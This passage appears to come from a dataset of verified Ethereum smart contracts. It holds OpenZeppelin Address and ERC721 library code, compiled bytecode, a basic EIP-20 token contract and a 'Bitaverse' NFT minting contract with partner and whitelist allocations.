using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661007b565b565b90565b606061007483836040518060600160405280602781526020016102316027913961009f565b9392505050565b3660008037600080366000845af43d6000803e80801561009a573d6000f35b3d6000fd5b6060833b6101035760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161011e91906101b1565b600060405180830381855af49150503d8060008114610159576040519150601f19603f3d011682016040523d82523d6000602084013e61015e565b606091505b509150915061016e828286610178565b9695505050505050565b60608315610187575081610074565b8251156101975782518084602001fd5b8160405162461bcd60e51b81526004016100fa91906101cd565b600082516101c3818460208701610200565b9190910192915050565b60208152600082518060208401526101ec816040850160208701610200565b601f01601f19169190910160400192915050565b60005b8381101561021b578181015183820152602001610203565b8381111561022a576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212209f8ced9e8398f3669f39757c8fb323e63d38fda11cd13a6ffd74de51eef6d1d564736f6c63430008070033
[ 5 ]
0xf39ea7813c8a4c4aefb6fda26ca3adec73711663
contract EIP20Interface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract ERC20Token is EIP20Interface { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX constructor ( uint256 _initialAmount, string memory _tokenName, uint8 _decimalUnits, string memory _tokenSymbol ) public { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } }
0x608060405234801561001057600080fd5b50600436106100c6576000357c010000000000000000000000000000000000000000000000000000000090048063313ce5671161008e578063313ce567146101fe5780635c6581651461021c57806370a082311461024a57806395d89b4114610270578063a9059cbb14610278578063dd62ed3e146102a4576100c6565b806306fdde03146100cb578063095ea7b31461014857806318160ddd1461018857806323b872dd146101a257806327e235e3146101d8575b600080fd5b6100d36102d2565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101746004803603604081101561015e57600080fd5b50600160a060020a038135169060200135610360565b604080519115158252519081900360200190f35b6101906103c6565b60408051918252519081900360200190f35b610174600480360360608110156101b857600080fd5b50600160a060020a038135811691602081013590911690604001356103cc565b610190600480360360208110156101ee57600080fd5b5035600160a060020a03166104d0565b6102066104e2565b6040805160ff9092168252519081900360200190f35b6101906004803603604081101561023257600080fd5b50600160a060020a03813581169160200135166104eb565b6101906004803603602081101561026057600080fd5b5035600160a060020a0316610508565b6100d3610523565b6101746004803603604081101561028e57600080fd5b50600160a060020a03813516906020013561057e565b610190600480360360408110156102ba57600080fd5b50600160a060020a0381358116916020013516610608565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60005481565b600160a060020a03831660008181526002602090815260408083203384528252808320549383526001909152812054909190831180159061040d5750828110155b151561041857600080fd5b600160a060020a038085166000908152600160205260408082208054870190559187168152208054849003905560001981101561047a57600160a060020a03851660009081526002602090815260408083203384529091529020805484900390555b83600160a060020a031685600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3506001949350505050565b60016020526000908152604090205481565b60045460ff1681565b600260209081526000928352604080842090915290825290205481565b600160a060020a031660009081526001602052604090205490565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103585780601f1061032d57610100808354040283529160200191610358565b3360009081526001602052604081205482111561059a57600080fd5b33600081815260016020908152604080832080548790039055600160a060020a03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350600192915050565b600160a060020a0391821660009081526002602090815260408083209390941682529190915220549056fea165627a7a7230582051d10b9df67a455e9ac40e112206828473f055800c0f222314cc531db21099790029
[ 38 ]
0xf39F02B3aE3FB936618a3F03AEe9314527a3E6ce
// SPDX-License-Identifier: MIT // import ERC-721 // import SafeMath pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; contract Bitaverse is ERC721{ address public devAddress; address public RecipientAddress = 0x9bcFa64Ce1c253716E1f6bBEC40a287980cdFA03; //constant using Strings for uint256; uint256 private constant TotalSupply = 10000; uint256 private TotalMint = 60; uint256 public SalePrice = 0.088 ether; uint256 public SpecialNFT = 0; string public baseTokenURI; string public RareTokenURI; bool public saleStart = false; mapping(address => uint256) public WhiteListMint; mapping(address => uint256) public NFTSale; mapping(address => bool) public PartnerList; struct FreeNFT{ uint256 Nomal; uint256 Special; } mapping(address => FreeNFT)public PartnerOwned; constructor() ERC721("Bitaverse","Bitaverse"){ devAddress = msg.sender; PartnerOwned[0x9bcFa64Ce1c253716E1f6bBEC40a287980cdFA03].Nomal = 401; PartnerOwned[0x9bcFa64Ce1c253716E1f6bBEC40a287980cdFA03].Special = 50; PartnerOwned[0x3B0F35FA4c7f38Fc577eB9aF105aa3787AC3f8C6].Nomal = 50; PartnerOwned[0x3B0F35FA4c7f38Fc577eB9aF105aa3787AC3f8C6].Special = 2; PartnerOwned[0x619218c1d29510f957B0b1dab40F764D930A7D55].Nomal = 160; PartnerOwned[0xe8dfbcbEcBD6B3c7167DA7e36445B7800F138B7C].Nomal = 48; PartnerOwned[0x48DAF617B4b65c645a2ffB69FF1D6919d8713e70].Nomal = 42; PartnerOwned[0x473A477d057bCF5a5a073071924Dc4A3924E4566].Nomal = 50; PartnerOwned[0x473A477d057bCF5a5a073071924Dc4A3924E4566].Special = 2; PartnerOwned[0x0B92C3c342531De27486187f9cc74aCEF376B027].Nomal = 50; PartnerOwned[0x0B92C3c342531De27486187f9cc74aCEF376B027].Special = 2; PartnerOwned[0x546213e2597de9a5aB4f7D73fbf67a2eeEA81Aff].Nomal = 50; PartnerOwned[0x546213e2597de9a5aB4f7D73fbf67a2eeEA81Aff].Special = 2; PartnerOwned[0xABCC4d53252CCF01e0635C0FD9f3c4CECA02271B].Nomal = 50; PartnerOwned[0xABCC4d53252CCF01e0635C0FD9f3c4CECA02271B].Special = 2; } function setBaseURI(string memory baseURI) external{ require(msg.sender == devAddress,"You are not the dev"); baseTokenURI = baseURI; } function setRareBaseURI(string memory baseURI)external{ require(msg.sender == devAddress,"You are not the dev"); RareTokenURI = baseURI; } function tokenURI(uint256 _tokenId) public override view returns (string memory){ if(_tokenId>60){ return string(abi.encodePacked(baseTokenURI,_tokenId.toString())); } else{ return string(abi.encodePacked(RareTokenURI,_tokenId.toString())); } } function totalSupply() public pure returns(uint256){ return TotalSupply; } function total_Mint() public view returns(uint256){ return TotalMint; } function SpecialNFTRemain()public view returns(uint256){ return 60 - SpecialNFT; } function addParnerOwn(address user,uint256 rare,uint256 value)external{ require(msg.sender == devAddress,"You are not the dev"); PartnerOwned[user].Nomal = value; PartnerOwned[user].Special = rare; } function SaleStart(bool button) external{ require(msg.sender == devAddress,"You are not the dev"); saleStart = button; } function setSalePrice(uint256 price) external{ require(msg.sender == devAddress,"You are not the dev"); SalePrice = price; } function setPartner(address[] memory input) external{ require(msg.sender == devAddress,"You are not the dev"); for(uint256 a=0;a<input.length;a++){ PartnerList[input[a]] = true; } } function setWhiteList(address[] memory input) external{ require(msg.sender == devAddress,"You are not the dev"); for(uint256 a=0;a<input.length;a++){ WhiteListMint[input[a]]++; } //["address","address"] } //NFTSale function mint(uint256 amount) external payable{ require(msg.value == SalePrice * amount,"Wrong input price"); require(total_Mint() + amount <= TotalSupply,"Sale is ended"); require(saleStart == true,"Sale is not start yet"); require(NFTSale[msg.sender] + amount <= 100,"Mint exceed!"); NFTSale[msg.sender] += amount; for(uint256 num = 0;num<amount;num++){ TotalMint++; _mint(msg.sender,TotalMint); } payable(RecipientAddress).transfer(address(this).balance); } function WhiteListMints() external{ require(WhiteListMint[msg.sender] > 0,"You already got a Bitaverse!"); require(total_Mint() < TotalSupply,"Sale is ended"); WhiteListMint[msg.sender]--; TotalMint++; _mint(msg.sender,TotalMint); } function SponsorAmount(address receiver) external{ require(PartnerList[msg.sender] == true,"You are not the partner"); require(PartnerOwned[msg.sender].Nomal >0,"You've done your part"); require(total_Mint() < TotalSupply,"Sale is ended"); PartnerOwned[msg.sender].Nomal--; TotalMint++; _mint(receiver,TotalMint); } function RareNftMint(address receiver) external{ require(PartnerList[msg.sender] == true,"You are not the partner"); require(PartnerOwned[msg.sender].Special >0,"You've done your part"); require(SpecialNFT < 60,"Sale out all special NFT"); PartnerOwned[msg.sender].Special--; SpecialNFT++; _mint(receiver,SpecialNFT); } function OwnerSend(address[] memory input)external{ require(msg.sender == devAddress,"You are not the dev"); require(total_Mint() + input.length < TotalSupply,"mint finish"); for(uint256 a=0;a<input.length;a++){ TotalMint++; _mint(input[a],TotalMint); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart 